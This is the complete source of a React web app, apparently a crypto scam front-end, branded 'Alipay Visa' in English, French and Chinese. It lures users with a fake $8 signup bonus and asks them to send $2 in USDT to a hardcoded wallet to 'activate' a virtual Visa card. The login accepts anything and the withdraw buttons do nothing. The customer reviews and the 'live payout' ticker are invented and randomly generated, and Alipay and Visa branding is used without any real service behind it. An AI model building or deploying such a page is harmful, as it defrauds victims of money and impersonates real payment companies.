import React, { useState, useEffect } from 'react';
import { CreditCard, Wallet, User, Eye, EyeOff, Copy, Globe, Lock, CheckCircle, Star, Send, ArrowDownCircle, LogIn, Smartphone, Mail, ShieldCheck, Bell } from 'lucide-react';

const App = () => {
  // --- State Management ---
  const [lang, setLang] = useState('en'); // en, fr, cn
  const [isLoggedIn, setIsLoggedIn] = useState(false);
  const [activeTab, setActiveTab] = useState('home');
  const [showCardNumber, setShowCardNumber] = useState(false);
  const [isActivated, setIsActivated] = useState(false);
  const [balance, setBalance] = useState(0.00); // Starts at 0, becomes 8 after login
  const [authMethod, setAuthMethod] = useState('email'); // email or phone
  const [notification, setNotification] = useState(null);

  // USDT Wallet Address (Fixed)
  const ADMIN_WALLET = "TXSwL5phMfb6o5bFsn8cAb67LR6AndMrcq";

  // --- Translations ---
  const t = (key) => {
    const translations = {
      en: {
        loginTitle: "Join the Global Payment Network",
        loginSubtitle: "Get $8 Bonus upon registration",
        email: "Email Address",
        phone: "Phone Number",
        password: "Password",
        loginBtn: "Register & Claim $8",
        reviewsTitle: "Trusted by Global Shoppers",
        home: "Home",
        deposit: "Deposit",
        withdraw: "Withdraw",
        profile: "Profile",
        balance: "Total Balance",
        activateCard: "Activate Card",
        activateDesc: "Deposit $2 to unlock your Visa",
        depositTitle: "Top-up via USDT (TRC20)",
        copy: "Copy",
        copied: "Copied!",
        withdrawTitle: "Withdraw Funds",
        iban: "IBAN Transfer",
        usdt: "USDT Transfer",
        locked: "Card Locked",
        cvv: "CVV",
        exp: "Expires",
        status: "Status",
        active: "Active",
        inactive: "Inactive",
        bonusMsg: "Congratulations! You received $8 startup bonus.",
        paymentDesc: "Send exactly $2 to the address below to activate your card.",
        simulate: "Simulate Payment (Demo)",
        withdrawDesc: "Withdraw your funds to any bank or crypto wallet.",
        review1: "Worked perfectly for my AliExpress orders!",
        review2: "Finally, I can pay for Netflix without issues.",
        review3: "Best virtual card for buying from Taobao.",
        review4: "Instant activation, love the USDT top-up!",
        review5: "Used it for Spotify & Google Play. 5 Stars.",
        review6: "Very fast support and low fees.",
        safe: "100% Secure",
        noFees: "0% Fees",
        justReceived: "just received",
        payout: "$10 Payout",
        bonus: "$8 Bonus"
      },
      fr: {
        loginTitle: "Rejoignez le réseau de paiement mondial",
        loginSubtitle: "Obtenez 8$ de bonus à l'inscription",
        email: "Adresse E-mail",
        phone: "Numéro de Téléphone",
        password: "Mot de passe",
        loginBtn: "S'inscrire et Réclamer 8$",
        reviewsTitle: "Approuvé par les acheteurs mondiaux",
        home: "Accueil",
        deposit: "Dépôt",
        withdraw: "Retrait",
        profile: "Profil",
        balance: "Solde Total",
        activateCard: "Activer la Carte",
        activateDesc: "Déposez 2$ pour débloquer votre Visa",
        depositTitle: "Recharger via USDT (TRC20)",
        copy: "Copier",
        copied: "Copié!",
        withdrawTitle: "Retirer des Fonds",
        iban: "Virement IBAN",
        usdt: "Transfert USDT",
        locked: "Carte Verrouillée",
        cvv: "CVV",
        exp: "Exp",
        status: "Statut",
        active: "Actif",
        inactive: "Inactif",
        bonusMsg: "Félicitations ! Vous avez reçu 8$ de bonus.",
        paymentDesc: "Envoyez exactement 2$ à l'adresse ci-dessous pour activer.",
        simulate: "Simuler le Paiement (Démo)",
        withdrawDesc: "Retirez vos fonds vers n'importe quelle banque ou portefeuille crypto.",
        review1: "A parfaitement fonctionné pour mes commandes AliExpress !",
        review2: "Enfin, je peux payer Netflix sans problèmes.",
        review3: "Meilleure carte virtuelle pour acheter sur Taobao.",
        review4: "Activation instantanée, j'adore le rechargement USDT !",
        review5: "Utilisé pour Spotify et Google Play. 5 Étoiles.",
        review6: "Support très rapide et frais réduits.",
        safe: "100% Sécurisé",
        noFees: "0% Frais",
        justReceived: "vient de recevoir",
        payout: "Paiement de 10$",
        bonus: "Bonus de 8$"
      },
      cn: {
        loginTitle: "加入全球支付网络",
        loginSubtitle: "注册即送 $8 奖金",
        email: "电子邮件",
        phone: "手机号码",
        password: "密码",
        loginBtn: "注册并领取 $8",
        reviewsTitle: "深受全球购物者信赖",
        home: "首页",
        deposit: "充值",
        withdraw: "提现",
        profile: "我的",
        balance: "总余额",
        activateCard: "激活卡片",
        activateDesc: "充值 $2 解锁您的 Visa 卡",
        depositTitle: "通过 USDT (TRC20) 充值",
        copy: "复制",
        copied: "已复制!",
        withdrawTitle: "提取资金",
        iban: "IBAN 转账",
        usdt: "USDT 转账",
        locked: "卡片已锁定",
        cvv: "安全码",
        exp: "有效期",
        status: "状态",
        active: "活跃",
        inactive: "未激活",
        bonusMsg: "恭喜！您获得了 $8 启动奖金。",
        paymentDesc: "向下方地址发送 $2 以激活您的卡片。",
        simulate: "模拟支付 (演示)",
        withdrawDesc: "提取资金到任何银行或加密钱包。",
        review1: "在 AliExpress 购物非常顺畅！",
        review2: "终于可以毫无问题地支付 Netflix 了。",
        review3: "在淘宝购物的最佳虚拟卡。",
        review4: "即时激活，超爱 USDT 充值功能！",
        review5: "用于 Spotify 和 Google Play。五星好评。",
        review6: "客服响应很快，费用低。",
        safe: "100% 安全",
        noFees: "0% 手续费",
        justReceived: "刚收到",
        payout: "$10 提现",
        bonus: "$8 奖金"
      }
    };
    return translations[lang][key] || key;
  };

  // --- Helpers ---
  const showNotification = (message) => {
    setNotification(message);
    setTimeout(() => setNotification(null), 3000);
  };

  const copyToClipboard = (text) => {
    if (navigator.clipboard && navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).then(() => showNotification(t('copied')));
    } else {
      const textarea = document.createElement('textarea');
      textarea.value = text;
      document.body.appendChild(textarea);
      textarea.select();
      document.execCommand('copy');
      document.body.removeChild(textarea);
      showNotification(t('copied'));
    }
  };

  const handleLogin = (e) => {
    e.preventDefault();
    setIsLoggedIn(true);
    setBalance(8.00);
    showNotification(t('bonusMsg'));
  };

  const handleSimulateDeposit = () => {
    setIsActivated(true);
    setBalance(prev => prev + 2);
    showNotification("Payment Received! Card Activated. +$2.00");
    setActiveTab('home');
  };

  // --- Live Data Simulation ---
  const [currentReview, setCurrentReview] = useState(0);
  const [liveAction, setLiveAction] = useState({ user: "User****88", country: "🇩🇿", type: "bonus" });
  const [showLiveAction, setShowLiveAction] = useState(true);

  useEffect(() => {
    // Cycle Reviews
    const reviewInterval = setInterval(() => {
        setCurrentReview((prev) => (prev + 1) % 6); // We have 6 reviews now
    }, 4000);

    // Simulate Live Payouts
    const actionInterval = setInterval(() => {
        setShowLiveAction(false);
        setTimeout(() => {
            const users = ["Ahmed", "Sarah", "Chen", "Karim", "John", "Maria", "Youssef"];
            const countries = ["🇩🇿", "🇫🇷", "🇨🇳", "🇺🇸", "🇦🇪", "🇸🇦", "🇬🇧"];
            const types = ["bonus", "payout"];
            
            setLiveAction({
                user: `${users[Math.floor(Math.random() * users.length)]}****${Math.floor(Math.random() * 99)}`,
                country: countries[Math.floor(Math.random() * countries.length)],
                type: types[Math.floor(Math.random() * types.length)]
            });
            setShowLiveAction(true);
        }, 500);
    }, 5000);

    return () => {
        clearInterval(reviewInterval);
        clearInterval(actionInterval);
    };
  }, []);

  const reviewsData = [
    { user: "Sarah M.", loc: "France", text: t('review1'), item: "AliExpress", icon: "🛍️" },
    { user: "Ahmed K.", loc: "Algeria", text: t('review2'), item: "Netflix", icon: "🎬" },
    { user: "Li Wei", loc: "China", text: t('review3'), item: "Taobao", icon: "📦" },
    { user: "John D.", loc: "USA", text: t('review4'), item: "Crypto", icon: "💰" },
    { user: "Maria G.", loc: "Spain", text: t('review5'), item: "Spotify", icon: "🎵" },
    { user: "Youssef", loc: "UAE", text: t('review6'), item: "Amazon", icon: "🛒" },
  ];

  // --- Components ---

  const VirtualCard = () => (
    <div className="relative w-full max-w-sm mx-auto h-56 rounded-2xl p-6 text-white shadow-2xl transition-all duration-500 overflow-hidden">
      <div className={`absolute inset-0 bg-gradient-to-br ${isActivated ? 'from-blue-600 via-indigo-700 to-blue-900' : 'from-gray-600 to-gray-800 grayscale'}`}></div>
      <div className="absolute top-0 right-0 -mr-10 -mt-10 w-40 h-40 rounded-full bg-white opacity-10 blur-2xl"></div>
      
      {!isActivated && (
        <div className="absolute inset-0 z-20 bg-black/40 backdrop-blur-sm flex flex-col items-center justify-center text-center p-4">
          <Lock size={40} className="mb-2 text-white/80" />
          <h3 className="font-bold text-lg">{t('locked')}</h3>
          <p className="text-xs text-white/80 mb-3">{t('activateDesc')}</p>
          <button onClick={() => setActiveTab('deposit')} className="bg-green-500 hover:bg-green-600 text-white px-4 py-2 rounded-full text-sm font-bold shadow-lg transition-transform transform hover:scale-105">
            {t('activateCard')}
          </button>
        </div>
      )}

      <div className="relative z-10 flex flex-col justify-between h-full">
        <div className="flex justify-between items-start">
          <div>
            <h3 className="font-bold text-lg tracking-wider italic">Alipay Visa</h3>
            <span className="text-[10px] bg-white/20 px-2 py-0.5 rounded text-white/90 uppercase tracking-wider">Global Pay</span>
          </div>
          <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="Visa" className="h-8 bg-white/90 rounded px-2 shadow-sm" />
        </div>
        <div className="mt-2">
          <div className="flex items-center gap-2 mb-2">
             <div className="w-8 h-6 bg-yellow-400/80 rounded-md border border-yellow-200/30"></div>
             <Globe size={16} className="text-blue-200" />
          </div>
          <div className="flex items-center justify-between">
            <p className="font-mono text-xl tracking-widest text-shadow">
              {isActivated ? (showCardNumber ? '4895 9876 1234 5678' : '**** **** **** 5678') : '•••• •••• •••• ••••'}
            </p>
            {isActivated && (
              <button onClick={() => setShowCardNumber(!showCardNumber)} className="text-blue-200 hover:text-white">
                {showCardNumber ? <EyeOff size={20} /> : <Eye size={20} />}
              </button>
            )}
          </div>
          <div className="flex justify-between items-end mt-4">
            <div>
              <p className="text-[10px] text-blue-200 uppercase">Holder</p>
              <p className="font-medium tracking-wide text-sm">MEMBER NO. 8832</p>
            </div>
            <div className="text-right">
              <p className="text-[10px] text-blue-200 uppercase">{t('exp')}</p>
              <p className="font-mono text-sm">12/29</p>
            </div>
          </div>
        </div>
      </div>
    </div>
  );

  // --- Screens ---

  const LandingScreen = () => (
    <div className="min-h-screen bg-gray-50 flex flex-col relative">
      
      {/* Live Payout Ticker (New Feature) */}
      <div className={`fixed top-4 right-4 z-50 transition-all duration-500 transform ${showLiveAction ? 'translate-x-0 opacity-100' : 'translate-x-10 opacity-0'}`}>
         <div className="bg-white/90 backdrop-blur border border-green-100 pl-2 pr-4 py-2 rounded-full shadow-lg flex items-center gap-3">
            <div className={`w-8 h-8 rounded-full flex items-center justify-center text-white text-xs font-bold ${liveAction.type === 'bonus' ? 'bg-blue-500' : 'bg-green-500'}`}>
                {liveAction.type === 'bonus' ? '🎁' : '💸'}
            </div>
            <div className="text-xs">
                <p className="font-bold text-gray-800 flex items-center gap-1">
                    {liveAction.country} {liveAction.user}
                </p>
                <p className="text-gray-500">
                    {t('justReceived')} <span className="text-green-600 font-bold">{liveAction.type === 'bonus' ? t('bonus') : t('payout')}</span>
                </p>
            </div>
         </div>
      </div>

      {/* Top Section */}
      <div className="bg-blue-600 text-white pb-10 pt-6 px-6 rounded-b-[3rem] shadow-xl relative overflow-hidden">
        <div className="flex justify-between items-center mb-8 relative z-10">
          <h1 className="text-2xl font-black italic tracking-tighter">Alipay<span className="text-blue-300">Visa</span></h1>
          <button onClick={() => setLang(lang === 'en' ? 'fr' : lang === 'fr' ? 'cn' : 'en')} className="flex items-center gap-1 bg-white/20 px-3 py-1 rounded-full text-xs font-bold backdrop-blur-md hover:bg-white/30 transition">
            <Globe size={14} /> {lang.toUpperCase()}
          </button>
        </div>

        <div className="text-center mb-8 relative z-10">
           <h2 className="text-3xl font-bold mb-2 leading-tight">{t('loginTitle')}</h2>
           <div className="inline-block bg-yellow-400 text-blue-900 font-bold px-3 py-1 rounded-full text-sm shadow-lg transform -rotate-1">
             💰 {t('loginSubtitle')}
           </div>
        </div>

        <div className="bg-white text-gray-800 p-6 rounded-2xl shadow-2xl max-w-sm mx-auto relative z-20">
          <div className="flex gap-4 mb-6 border-b border-gray-100 pb-2">
            <button 
              onClick={() => setAuthMethod('email')}
              className={`flex-1 pb-2 text-sm font-bold text-center flex items-center justify-center gap-2 ${authMethod === 'email' ? 'text-blue-600 border-b-2 border-blue-600' : 'text-gray-400'}`}>
              <Mail size={16} /> Email
            </button>
            <button 
              onClick={() => setAuthMethod('phone')}
              className={`flex-1 pb-2 text-sm font-bold text-center flex items-center justify-center gap-2 ${authMethod === 'phone' ? 'text-blue-600 border-b-2 border-blue-600' : 'text-gray-400'}`}>
              <Smartphone size={16} /> Phone
            </button>
          </div>

          <form onSubmit={handleLogin} className="space-y-4">
            <div>
              <label className="text-xs font-bold text-gray-500 ml-1 mb-1 block">{authMethod === 'email' ? t('email') : t('phone')}</label>
              <input type={authMethod === 'email' ? 'email' : 'tel'} required className="w-full bg-gray-50 border border-gray-200 rounded-xl p-3 text-sm focus:ring-2 focus:ring-blue-500 outline-none" placeholder="..." />
            </div>
            <div>
              <label className="text-xs font-bold text-gray-500 ml-1 mb-1 block">{t('password')}</label>
              <input type="password" required className="w-full bg-gray-50 border border-gray-200 rounded-xl p-3 text-sm focus:ring-2 focus:ring-blue-500 outline-none" placeholder="••••••••" />
            </div>
            <button className="w-full bg-gradient-to-r from-blue-600 to-blue-700 hover:from-blue-700 hover:to-blue-800 text-white font-bold py-3.5 rounded-xl shadow-lg shadow-blue-500/30 transition-all transform hover:scale-[1.02] flex items-center justify-center gap-2">
              <LogIn size={18} /> {t('loginBtn')}
            </button>
          </form>

          <div className="mt-4 flex justify-center gap-4 text-[10px] text-gray-400 font-medium">
            <span className="flex items-center gap-1"><ShieldCheck size={12} className="text-green-500"/> {t('safe')}</span>
            <span className="flex items-center gap-1"><CheckCircle size={12} className="text-green-500"/> {t('noFees')}</span>
          </div>
        </div>
      </div>

      {/* Dynamic Reviews Section (Auto-changing) */}
      <div className="flex-1 p-6 pb-12 flex flex-col justify-center">
        <h3 className="text-center font-bold text-gray-800 mb-6 flex items-center justify-center gap-2">
          <Star className="fill-yellow-400 text-yellow-400" size={20} />
          {t('reviewsTitle')}
        </h3>
        
        <div className="max-w-sm mx-auto w-full relative h-32">
            {reviewsData.map((review, idx) => (
                <div 
                    key={idx} 
                    className={`absolute top-0 left-0 w-full transition-all duration-700 ease-in-out transform ${
                        idx === currentReview 
                        ? 'opacity-100 translate-x-0 scale-100' 
                        : idx < currentReview 
                            ? 'opacity-0 -translate-x-10 scale-95' 
                            : 'opacity-0 translate-x-10 scale-95'
                    }`}
                >
                    <div className="bg-white p-4 rounded-xl shadow-md border border-gray-100 flex gap-3">
                        <div className="w-10 h-10 bg-blue-50 rounded-full flex items-center justify-center text-lg shrink-0">
                            {review.icon}
                        </div>
                        <div>
                            <div className="flex items-center gap-2 mb-1">
                                <span className="font-bold text-xs text-gray-800">{review.user}</span>
                                <span className="text-[10px] text-gray-400 bg-gray-100 px-1.5 rounded">{review.loc}</span>
                            </div>
                            <p className="text-sm text-gray-600 leading-tight">"{review.text}"</p>
                            <div className="flex mt-1">
                                {[1,2,3,4,5].map(s => <Star key={s} size={10} className="fill-yellow-400 text-yellow-400" />)}
                            </div>
                        </div>
                    </div>
                </div>
            ))}
        </div>
        
        {/* Pagination Dots */}
        <div className="flex justify-center gap-1 mt-4">
            {reviewsData.map((_, idx) => (
                <div key={idx} className={`w-1.5 h-1.5 rounded-full transition-all ${idx === currentReview ? 'bg-blue-600 w-3' : 'bg-gray-300'}`}></div>
            ))}
        </div>
      </div>
    </div>
  );

  const Dashboard = () => (
    <div className="min-h-screen bg-gray-50 pb-24">
      {/* Header */}
      <div className="bg-white p-4 shadow-sm flex justify-between items-center sticky top-0 z-30">
        <h2 className="font-bold text-xl italic text-blue-600">AlipayVisa</h2>
        <div className="flex items-center gap-3">
            <div className="bg-blue-50 text-blue-600 px-3 py-1 rounded-full text-sm font-bold">
                ${balance.toFixed(2)}
            </div>
            <button onClick={() => setLang(lang === 'en' ? 'fr' : lang === 'fr' ? 'cn' : 'en')} className="p-2 bg-gray-100 rounded-full">
                <Globe size={18} className="text-gray-600" />
            </button>
        </div>
      </div>

      {activeTab === 'home' && (
        <div className="p-4 space-y-6 animate-fade-in">
          <div className="bg-gradient-to-r from-slate-900 to-slate-800 p-6 rounded-2xl text-white shadow-lg">
            <p className="text-slate-400 text-sm">{t('balance')}</p>
            <h1 className="text-4xl font-bold mb-6 flex items-center gap-2">
                ${balance.toFixed(2)}
                {isActivated && <span className="text-xs bg-green-500 text-white px-2 py-0.5 rounded-full">{t('active')}</span>}
            </h1>
            <div className="flex gap-3">
                <button onClick={() => setActiveTab('deposit')} className="flex-1 bg-blue-600 hover:bg-blue-500 py-2.5 rounded-lg font-medium flex items-center justify-center gap-2 transition">
                    <ArrowDownCircle size={18} /> {t('deposit')}
                </button>
                <button onClick={() => setActiveTab('withdraw')} className="flex-1 bg-white/10 hover:bg-white/20 py-2.5 rounded-lg font-medium flex items-center justify-center gap-2 transition">
                    <Send size={18} /> {t('withdraw')}
                </button>
            </div>
          </div>

          <div>
            <h3 className="font-bold text-gray-800 mb-3 ml-1">My Card</h3>
            <VirtualCard />
          </div>

          <div>
             <h3 className="font-bold text-gray-800 mb-3 ml-1">Recent Activity</h3>
             {isActivated ? (
                 <div className="bg-white p-8 text-center rounded-xl border border-dashed border-gray-300 text-gray-400 text-sm">
                     No transactions yet. Start shopping!
                 </div>
             ) : (
                 <div className="bg-yellow-50 p-4 rounded-xl border border-yellow-100 text-yellow-800 text-sm flex items-start gap-3">
                     <Lock size={20} className="mt-0.5 shrink-0" />
                     <p>{t('activateDesc')}</p>
                 </div>
             )}
          </div>
        </div>
      )}

      {activeTab === 'deposit' && (
        <div className="p-4 animate-fade-in">
          <h2 className="text-xl font-bold mb-4">{t('depositTitle')}</h2>
          
          <div className="bg-white p-6 rounded-2xl shadow-sm border border-gray-100 text-center">
             <div className="w-48 h-48 bg-gray-100 mx-auto mb-4 rounded-xl flex items-center justify-center border-2 border-dashed border-gray-300 relative overflow-hidden group">
                <div className="absolute inset-0 bg-white flex flex-wrap p-2 opacity-50">
                    {Array(100).fill(0).map((_,i) => <div key={i} className={`w-3 h-3 m-[1px] ${Math.random() > 0.5 ? 'bg-black' : 'bg-transparent'}`}></div>)}
                </div>
                <div className="relative z-10 bg-white px-4 py-2 rounded-lg shadow font-bold text-gray-800">TRC20</div>
             </div>
             
             <p className="text-sm text-gray-500 mb-2">{t('paymentDesc')}</p>
             
             <div className="bg-gray-50 p-3 rounded-xl border border-gray-200 flex items-center justify-between gap-2 mb-6">
                <p className="font-mono text-xs break-all text-left text-gray-600">{ADMIN_WALLET}</p>
                <button onClick={() => copyToClipboard(ADMIN_WALLET)} className="p-2 bg-white rounded-lg shadow-sm hover:bg-blue-50 text-blue-600">
                    <Copy size={16} />
                </button>
             </div>

             {!isActivated && (
               <div className="bg-blue-50 p-3 rounded-lg mb-4 text-blue-800 text-sm font-medium">
                 ⚠️ {t('activateDesc')}
               </div>
             )}

             <button 
                onClick={handleSimulateDeposit}
                className="w-full py-3 bg-green-500 hover:bg-green-600 text-white rounded-xl font-bold shadow-lg shadow-green-500/30 transition">
                {t('simulate')}
             </button>
          </div>
        </div>
      )}

      {activeTab === 'withdraw' && (
        <div className="p-4 animate-fade-in">
          <h2 className="text-xl font-bold mb-4">{t('withdrawTitle')}</h2>
          <p className="text-sm text-gray-500 mb-6">{t('withdrawDesc')}</p>

          <div className="space-y-4">
             <div className="bg-white p-4 rounded-xl shadow-sm border border-gray-100">
                <div className="flex items-center gap-3 mb-4">
                    <div className="w-10 h-10 bg-purple-100 text-purple-600 rounded-full flex items-center justify-center"><Wallet size={20} /></div>
                    <h3 className="font-bold">{t('usdt')}</h3>
                </div>
                <input type="text" placeholder="Wallet Address (TRC20)" className="w-full bg-gray-50 border border-gray-200 rounded-lg p-3 text-sm mb-3 outline-none focus:border-blue-500" />
                <div className="flex gap-2">
                    <input type="number" placeholder="Amount ($)" className="w-1/3 bg-gray-50 border border-gray-200 rounded-lg p-3 text-sm outline-none focus:border-blue-500" />
                    <button className="flex-1 bg-purple-600 text-white rounded-lg font-bold text-sm">Withdraw USDT</button>
                </div>
             </div>

             <div className="bg-white p-4 rounded-xl shadow-sm border border-gray-100">
                <div className="flex items-center gap-3 mb-4">
                    <div className="w-10 h-10 bg-blue-100 text-blue-600 rounded-full flex items-center justify-center"><Globe size={20} /></div>
                    <h3 className="font-bold">{t('iban')}</h3>
                </div>
                <input type="text" placeholder="IBAN Number" className="w-full bg-gray-50 border border-gray-200 rounded-lg p-3 text-sm mb-3 outline-none focus:border-blue-500" />
                <div className="flex gap-2">
                    <input type="number" placeholder="Amount ($)" className="w-1/3 bg-gray-50 border border-gray-200 rounded-lg p-3 text-sm outline-none focus:border-blue-500" />
                    <button className="flex-1 bg-blue-600 text-white rounded-lg font-bold text-sm">Send to Bank</button>
                </div>
             </div>
          </div>
        </div>
      )}
    </div>
  );

  const Navbar = () => (
    <div className="fixed bottom-0 w-full max-w-md bg-white border-t border-gray-100 px-6 py-3 flex justify-between items-center z-40 text-[10px] font-medium text-gray-400 shadow-[0_-5px_10px_rgba(0,0,0,0.02)]">
        <button onClick={() => setActiveTab('home')} className={`flex flex-col items-center gap-1 ${activeTab === 'home' ? 'text-blue-600' : ''}`}>
            <Wallet size={24} strokeWidth={activeTab === 'home' ? 2.5 : 2} />
            {t('home')}
        </button>
        <div className="relative -top-5">
             <button onClick={() => setActiveTab('deposit')} className="w-14 h-14 bg-blue-600 rounded-full flex items-center justify-center text-white shadow-lg shadow-blue-600/40 transform hover:scale-105 transition">
                <ArrowDownCircle size={24} />
             </button>
        </div>
        <button onClick={() => setActiveTab('withdraw')} className={`flex flex-col items-center gap-1 ${activeTab === 'withdraw' ? 'text-blue-600' : ''}`}>
            <Send size={24} strokeWidth={activeTab === 'withdraw' ? 2.5 : 2} />
            {t('withdraw')}
        </button>
    </div>
  );

  return (
    <div className="min-h-screen bg-gray-100 flex justify-center font-sans">
      {notification && (
        <div className="fixed top-5 z-[60] bg-gray-900/90 text-white px-6 py-3 rounded-full shadow-xl text-sm animate-bounce backdrop-blur-sm">
          {notification}
        </div>
      )}

      <div className="w-full max-w-md bg-white min-h-screen shadow-2xl relative overflow-hidden">
        {!isLoggedIn ? <LandingScreen /> : (
            <>
                <Dashboard />
                <Navbar />
            </>
        )}
      </div>

      <style>{`
        @keyframes fade-in {
          from { opacity: 0; transform: translateY(10px); }
          to { opacity: 1; transform: translateY(0); }
        }
        .animate-fade-in {
          animation: fade-in 0.4s ease-out forwards;
        }
        .text-shadow {
          text-shadow: 0 2px 4px rgba(0,0,0,0.3);
        }
      `}</style>
    </div>
  );
};

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